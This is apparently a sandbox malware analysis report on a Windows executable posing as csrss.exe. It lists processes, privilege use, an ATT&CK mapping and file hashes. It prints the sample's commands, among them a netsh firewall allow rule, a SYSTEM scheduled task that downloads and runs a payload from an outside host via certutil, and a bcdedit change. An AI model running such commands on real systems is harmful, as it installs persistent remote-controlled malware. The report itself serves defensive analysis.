6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exea5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.execsrss.exe

pid	process
2672	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
2672	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
1536	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
1536	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
4448	csrss.exe
4448	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2672	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
Token: SeImpersonatePrivilege	2672	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
Token: SeTcbPrivilege	112	svchost.exe
Token: SeTcbPrivilege	112	svchost.exe
Token: SeBackupPrivilege	112	svchost.exe
Token: SeRestorePrivilege	112	svchost.exe
Token: SeBackupPrivilege	112	svchost.exe
Token: SeRestorePrivilege	112	svchost.exe
Token: SeBackupPrivilege	112	svchost.exe
Token: SeRestorePrivilege	112	svchost.exe
Token: SeSystemEnvironmentPrivilege	4448	csrss.exe
Token: SeBackupPrivilege	112	svchost.exe
Token: SeRestorePrivilege	112	svchost.exe
Token: SeBackupPrivilege	112	svchost.exe
Token: SeRestorePrivilege	112	svchost.exe
Token: SeBackupPrivilege	112	svchost.exe
Token: SeRestorePrivilege	112	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exea5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.execmd.execsrss.exe

description	pid	process	target process
PID 112 wrote to memory of 1536	112	svchost.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
PID 112 wrote to memory of 1536	112	svchost.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
PID 112 wrote to memory of 1536	112	svchost.exe	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
PID 1536 wrote to memory of 2532	1536	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe	cmd.exe
PID 1536 wrote to memory of 2532	1536	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe	cmd.exe
PID 2532 wrote to memory of 536	2532	cmd.exe	netsh.exe
PID 2532 wrote to memory of 536	2532	cmd.exe	netsh.exe
PID 1536 wrote to memory of 4448	1536	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe	csrss.exe
PID 1536 wrote to memory of 4448	1536	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe	csrss.exe
PID 1536 wrote to memory of 4448	1536	a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe	csrss.exe
PID 112 wrote to memory of 4964	112	svchost.exe	schtasks.exe
PID 112 wrote to memory of 4964	112	svchost.exe	schtasks.exe
PID 112 wrote to memory of 2356	112	svchost.exe	schtasks.exe
PID 112 wrote to memory of 2356	112	svchost.exe	schtasks.exe
PID 112 wrote to memory of 4736	112	svchost.exe	patch.exe
PID 112 wrote to memory of 4736	112	svchost.exe	patch.exe
PID 4448 wrote to memory of 4664	4448	csrss.exe	bcdedit.exe
PID 4448 wrote to memory of 4664	4448	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
"C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 332
2⤵
- Program crash
PID:2156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 356
2⤵
- Program crash
PID:4696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 376
2⤵
- Program crash
PID:4964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 584
2⤵
- Program crash
PID:4452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 696
2⤵
- Program crash
PID:4228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 696
2⤵
- Program crash
PID:3772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 728
2⤵
- Program crash
PID:532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 736
2⤵
- Program crash
PID:5092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 748
2⤵
- Program crash
PID:4712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 772
2⤵
- Program crash
PID:4628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 708
2⤵
- Program crash
PID:2208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 728
2⤵
- Program crash
PID:1652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 628
2⤵
- Program crash
PID:1628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 908
2⤵
- Program crash
PID:4640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 876
2⤵
- Program crash
PID:1664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 904
2⤵
- Program crash
PID:1660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 872
2⤵
- Program crash
PID:2380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 936
2⤵
- Program crash
PID:4184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 840
2⤵
- Program crash
PID:5008

C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe
"C:\Users\Admin\AppData\Local\Temp\a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 296
3⤵
- Program crash
PID:3736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 300
3⤵
- Program crash
PID:3868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 300
3⤵
- Program crash
PID:3860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 632
3⤵
- Program crash
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 632
3⤵
- Program crash
PID:4780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 632
3⤵
- Program crash
PID:3620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 708
3⤵
- Program crash
PID:2304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 716
3⤵
- Program crash
PID:4356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 724
3⤵
- Program crash
PID:4832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 844
3⤵
- Program crash
PID:4192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 584
3⤵
- Program crash
PID:4292

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:536

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 332
4⤵
- Program crash
PID:2684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 352
4⤵
- Program crash
PID:3524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 352
4⤵
- Program crash
PID:4316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 656
4⤵
- Program crash
PID:1480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 656
4⤵
- Program crash
PID:4144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 716
4⤵
- Program crash
PID:2452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 732
4⤵
- Program crash
PID:4600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 756
4⤵
- Program crash
PID:2328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 740
4⤵
- Program crash
PID:2980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 636
4⤵
- Program crash
PID:4052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 748
4⤵
- Program crash
PID:4632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 728
4⤵
- Program crash
PID:4856

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4964

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 920
4⤵
- Program crash
PID:4536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 972
4⤵
- Program crash
PID:664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 988
4⤵
- Program crash
PID:5084

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:4736

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:4664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1012
4⤵
- Program crash
PID:4716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1100
4⤵
- Program crash
PID:1320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1508
4⤵
- Program crash
PID:1664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1524
4⤵
- Program crash
PID:3384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1548
4⤵
- Program crash
PID:2264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1576
4⤵
- Program crash
PID:1744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1632
4⤵
- Program crash
PID:5116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1588
4⤵
- Program crash
PID:3604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1592
4⤵
- Program crash
PID:3856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1464
4⤵
- Program crash
PID:3116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1608
4⤵
- Program crash
PID:3888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1640
4⤵
- Program crash
PID:3696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1668
4⤵
- Program crash
PID:2536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1540
4⤵
- Program crash
PID:2696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1540
4⤵
- Program crash
PID:3540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1896
4⤵
- Program crash
PID:4076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1912
4⤵
- Program crash
PID:4316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1916
4⤵
PID:4240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1612
4⤵
PID:1156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 860
3⤵
- Program crash
PID:3708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 956
2⤵
- Program crash
PID:3032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2672 -ip 2672
1⤵
PID:4632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2672 -ip 2672
1⤵
PID:4984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2672 -ip 2672
1⤵
PID:4568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2672 -ip 2672
1⤵
PID:2356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2672 -ip 2672
1⤵
PID:4084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2672 -ip 2672
1⤵
PID:3052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2672 -ip 2672
1⤵
PID:664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2672 -ip 2672
1⤵
PID:872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2672 -ip 2672
1⤵
PID:4684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2672 -ip 2672
1⤵
PID:4648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2672 -ip 2672
1⤵
PID:3476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2672 -ip 2672
1⤵
PID:1696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2672 -ip 2672
1⤵
PID:2436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2672 -ip 2672
1⤵
PID:2812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2672 -ip 2672
1⤵
PID:2212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2672 -ip 2672
1⤵
PID:4080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2672 -ip 2672
1⤵
PID:3244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2672 -ip 2672
1⤵
PID:1160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2672 -ip 2672
1⤵
PID:4180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2672 -ip 2672
1⤵
PID:2444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1536 -ip 1536
1⤵
PID:4312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1536 -ip 1536
1⤵
PID:3864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1536 -ip 1536
1⤵
PID:3636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1536 -ip 1536
1⤵
PID:1836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1536 -ip 1536
1⤵
PID:3648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1536 -ip 1536
1⤵
PID:4916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1536 -ip 1536
1⤵
PID:3096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1536 -ip 1536
1⤵
PID:4296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1536 -ip 1536
1⤵
PID:1496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1536 -ip 1536
1⤵
PID:4400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1536 -ip 1536
1⤵
PID:768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1536 -ip 1536
1⤵
PID:1020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4448 -ip 4448
1⤵
PID:4968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4448 -ip 4448
1⤵
PID:4232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4448 -ip 4448
1⤵
PID:3932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4448 -ip 4448
1⤵
PID:4824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4448 -ip 4448
1⤵
PID:1252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4448 -ip 4448
1⤵
PID:1356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4448 -ip 4448
1⤵
PID:2272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4448 -ip 4448
1⤵
PID:3896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4448 -ip 4448
1⤵
PID:3360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4448 -ip 4448
1⤵
PID:3968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4448 -ip 4448
1⤵
PID:2132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4448 -ip 4448
1⤵
PID:4700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4448 -ip 4448
1⤵
PID:4532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4448 -ip 4448
1⤵
PID:3772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4448 -ip 4448
1⤵
PID:4776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4448 -ip 4448
1⤵
PID:4628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4448 -ip 4448
1⤵
PID:1440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4448 -ip 4448
1⤵
PID:2212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4448 -ip 4448
1⤵
PID:4080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4448 -ip 4448
1⤵
PID:1924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4448 -ip 4448
1⤵
PID:216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4448 -ip 4448
1⤵
PID:4420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4448 -ip 4448
1⤵
PID:3644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4448 -ip 4448
1⤵
PID:3060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4448 -ip 4448
1⤵
PID:2280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 4448 -ip 4448
1⤵
PID:4996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4448 -ip 4448
1⤵
PID:1212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4448 -ip 4448
1⤵
PID:1384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4448 -ip 4448
1⤵
PID:1864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4448 -ip 4448
1⤵
PID:4164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4448 -ip 4448
1⤵
PID:4564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4448 -ip 4448
1⤵
PID:3932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4448 -ip 4448
1⤵
PID:3948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4448 -ip 4448
1⤵
PID:2560

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
31cdfaecc20c78ec5122f2c4359f6e34

SHA1
cd589c314b3d6b2d03d7c309a634c3b9dbf65155

SHA256
a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7

SHA512
89405962b2c271e2f78c4c4f89e72e9b04e0e4426896e043ffef1b82d165c3e28c019797bdca1e51022d90bd11cd87ab4dc6d911c4ea5d56064815476fbbb594

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
31cdfaecc20c78ec5122f2c4359f6e34

SHA1
cd589c314b3d6b2d03d7c309a634c3b9dbf65155

SHA256
a5a21be623dd12f9b48e021ea61d2f1385eb2929e115ed6b5afe2a0eae567fd7

SHA512
89405962b2c271e2f78c4c4f89e72e9b04e0e4426896e043ffef1b82d165c3e28c019797bdca1e51022d90bd11cd87ab4dc6d911c4ea5d56064815476fbbb594

Download Submit
memory/536-141-0x0000000000000000-mapping.dmp

Download
memory/1536-135-0x0000000000000000-mapping.dmp

Download
memory/1536-138-0x0000000000400000-0x0000000002E80000-memory.dmp

Filesize
42.5MB

Download
memory/1536-139-0x000000000318D000-0x0000000003535000-memory.dmp

Filesize
3.7MB

Download
